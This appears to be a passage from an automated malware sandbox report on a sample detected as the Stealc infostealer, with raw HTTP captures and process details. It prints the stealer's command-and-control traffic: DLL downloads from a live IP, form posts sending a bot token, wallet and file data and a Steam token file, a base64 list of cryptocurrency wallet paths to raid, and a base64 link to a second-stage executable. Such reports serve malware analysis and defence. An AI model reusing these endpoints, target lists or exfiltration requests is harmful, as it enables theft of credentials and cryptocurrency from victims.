00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 7, 2024 17:22:04.605756998 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 17:22:04.779105902 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 7, 2024 17:22:05.302201986 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 17:22:05.473737001 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 7, 2024 17:22:05.784830093 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 17:22:05.955167055 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 7, 2024 17:22:07.311279058 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 17:22:07.482737064 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 7, 2024 17:22:07.691045046 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 17:22:07.861632109 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 7, 2024 17:22:08.335232973 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGIJDBAFCBAAKECGDGC Host: 46.8.231.109 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 17:22:08.738742113 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 17:22:08.772902966 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJDAFBKFIECBGCAKECG Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 2d 2d 0d 0a Data Ascii: ------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="message"wallets------GIJDAFBKFIECBGCAKECG--
Oct 7, 2024 17:22:08.995481014 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 17:22:09.166676044 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 7, 2024 17:22:09.169368982 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAE Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 2d 2d 0d 0a Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="message"files------EGDGCGCFHIEHIDGDBAAE--
Oct 7, 2024 17:22:09.344825983 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 17:22:09.353122950 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJJJEBGCFBGDHIDGCA Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFIJJJEBGCFBGDHIDGCAContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------KFIJJJEBGCFBGDHIDGCAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KFIJJJEBGCFBGDHIDGCAContent-Disposition: form-data; name="file"------KFIJJJEBGCFBGDHIDGCA--
Oct 7, 2024 17:22:09.943346024 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 17:22:09.943934917 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 17:22:09.945911884 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKE Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="message"ybncbhylepme------HDGIJJDGCBKFIDHIEBKE--
Oct 7, 2024 17:22:10.159032106 CEST	322	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:22:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 96 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 62 6e 4e 6b 62 53 35 6a 64 57 31 77 59 58 49 74 59 58 56 30 62 79 31 76 63 6d 6c 6a 5a 53 31 30 61 58 41 75 63 6d 38 76 62 47 52 74 63 79 39 68 4e 44 4d 30 4f 44 59 78 4d 6a 67 7a 4e 44 63 75 5a 58 68 6c 66 44 42 38 4d 48 78 54 64 47 46 79 64 48 77 30 66 41 3d 3d Data Ascii: aHR0cDovbnNkbS5jdW1wYXItYXV0by1vcmljZS10aXAucm8vbGRtcy9hNDM0ODYxMjgzNDcuZXhlfDB8MHxTdGFydHw0fA==
Oct 7, 2024 17:22:10.254098892 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJKJDAKEHJDGDGDGHID Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 2d 2d 0d 0a Data Ascii: ------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GHJKJDAKEHJDGDGDGHID--

Target ID:	0
Start time:	11:21:56
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xdc0000
File size:	505'344 bytes
MD5 hash:	7C6083BF70E2919D0957FFCB7B75EBEB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:21:56
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x280000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:21:56
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xdb0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
